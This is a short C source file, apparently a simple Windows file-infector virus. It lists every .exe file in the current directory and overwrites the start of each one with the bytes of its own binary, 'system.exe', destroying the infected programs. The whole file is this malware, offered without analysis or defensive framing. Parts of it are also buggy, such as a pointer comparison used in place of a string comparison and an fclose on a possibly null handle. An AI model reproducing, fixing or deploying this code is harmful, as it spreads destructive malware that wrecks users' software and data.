#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
FILE *list,*virus,*host;
char buff[2048];
int done;
char file_name[2048];
int x = 103974;
int main(void){

	list = fopen("temp.txt","rb");
	if(list == NULL)
	{
		system ( " dir /b *.exe > temp.txt " );
	}
	fclose(list);
	list = fopen("temp.txt","r");
	if(list == NULL)
	{
		printf("No .exe to infect");
	} else
	{
		while(fgets(file_name,2048,list) != NULL)
		{
			file_name[strlen(file_name) - 1] = '\0';
			virus = fopen("system.exe","rb");
			host = fopen(file_name,"rb+");
			if(host == NULL)
			{
				printf("No Host\n");
				goto next;
			} else if (file_name != "system.exe")
			{
				printf("Host %s\n",file_name);
				while(x>2048)
				{
					printf("writing\n");
					fread(buff,2048,1,virus);
					fwrite(buff,2048,1,host);
					x-=2048;
				}
				fread(buff,x,1,virus);
				fwrite(buff,x,1,host);
			}
			fclose(virus);
			fclose(host);
		}
	}
	next:
	fclose(list);
}